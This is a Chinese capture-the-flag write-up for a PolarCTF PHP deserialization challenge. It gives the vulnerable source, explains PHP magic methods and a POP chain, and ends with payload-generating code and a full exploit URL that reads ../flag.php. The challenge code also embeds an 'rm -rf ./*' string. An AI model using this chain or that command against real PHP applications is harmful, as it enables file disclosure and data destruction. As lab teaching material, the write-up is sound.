【PolarCTF】苦海

复制代码
删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

基础知识

__invoke魔术方法

当对象当作函数直接调用时执行。

触发方式:把对象像函数一样加括号 () 调用

例子如下:

复制代码
<?php

class CallableTest
{
    public function __invoke($a, $b)
    {
        return $a + $b;
    }
}

$obj = new CallableTest();

// 触发魔术方法
echo $obj(2,3); //输出 5

__get魔术方法

在读取一个对象不存在 / 不可访问的属性时自动触发。

例子

复制代码
class Test
{
    // $name 是要读取的属性名
    public function __get(string $name)
    {
        echo "读取不存在属性:" . $name;
        return "默认值";
    }
}

$obj = new Test();

// 访问类中没有定义的属性,触发 __get
echo $obj->aaa; 
//输出:读取不存在属性:aaa,然后输出返回值 默认值

__toString魔术方法

把对象当作一个字符串来使用的时候,PHP 会自动调用 __toString()

复制代码
<?php
class Test {
    public function __toString()
    {
        // 注意:__toString 必须 return 一个字符串,不能echo!
        return "我是对象转字符串的结果";
    }
}

$obj = new Test();

# 下述操作都会对__toString进行触发

echo $obj;   //触发 __toString
print $obj;  //触发 __toString
$str = "abc" . $obj; //拼接,对象被当成字符串,触发__toString
$str = (string)$obj; //强制转字符串,触发
printf("%s", $obj); //触发 __toString
$b = strlen($obj); //内部会转字符串,触发__toString

解题

整理下思路

复制代码
unserialize()
  │
  └─▶ User::__wakeup()
        │
        └─▶ User::printName()
              │
              └─▶ 访问 $name (Surrender对象)
                    │
                    └─▶ Surrender::__toString()
                          │
                          └─▶ 访问 $file['filename']->content (触发__get)
                                │
                                └─▶ FileRobot::__get()
                                      │
                                      └─▶ 调用 $path() (触发__invoke)
                                            │
                                            └─▶ FileRobot::__invoke()
                                                  │
                                                  └─▶ FileRobot::Get_file('flag.php')

payload如下:

复制代码
<?php

class User{
    public $name;
}

class Surrender{
    # 这里我有踩坑,把phone、promise这些无关的属性写下来,觉得无所谓就写了下来
    # 后面由于private属性的影响导致我构造payload打不通,以后无关的属性就不要写了
    public $file;
    
}

class FileRobot{
    # 目标文件在../flag.php,不是flag.php
    public $filename = '../flag.php';
    public $path;

}

$user = new User();
$surrender = new Surrender();
$filerobot = new FileRobot();

$user->name = $surrender;
# 这里注意是赋值的数组
$surrender->file = ['filename'=>$filerobot];
$filerobot->path = $filerobot;


echo urlencode(serialize($user));

?>


http://9d715efa-398f-4f5c-8c58-a6a97dc19ecb.www.polarctf.com:8090/?user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A1%3A%7Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3Br%3A4%3B%7D%7D%7D%7D
相关推荐
学逆向的2 小时前
C 指针常量与常量指针
c语言·开发语言·网络安全
大泽九章10 小时前
XSS入门:存储型、反射型、DOM型,用Flask全复现
python·网络安全·flask
持敬chijing12 小时前
系统入侵与攻击工具-正反向 Shell 深度对比与多种反弹姿势
安全·网络安全·网络攻击模型
终端安全笔记1 天前
下一个大版本要动的三处:更新指令、传输要求、策略写法
网络安全·ios·1024程序员节·移动设备管理
愤怒火龙果1 天前
AI 渗透测试智能体架构综述:从单兵到蜂群的演进图谱
人工智能·网络安全·架构
学逆向的2 天前
C 枚举变量
c语言·开发语言·网络安全
QZ166560951592 天前
数据库监测的主动防御:实时感知,看见即掌控
网络·安全·网络安全
kingx33 天前
BugKu 渗透测试4 Writeup:从 eval 注入到五层内网拿满 Flag
人工智能·网络安全·网络攻击模型·安全威胁分析·1024程序员节
愤怒火龙果3 天前
AIShield 靶场 WP
人工智能·网络安全·1024程序员节
sbjdhjd3 天前
从黑板事实到长链路剪枝:AI 渗透测试 Agent 的实验、失效与改造
人工智能·网络安全·数据挖掘·php·agent·剪枝·1024程序员节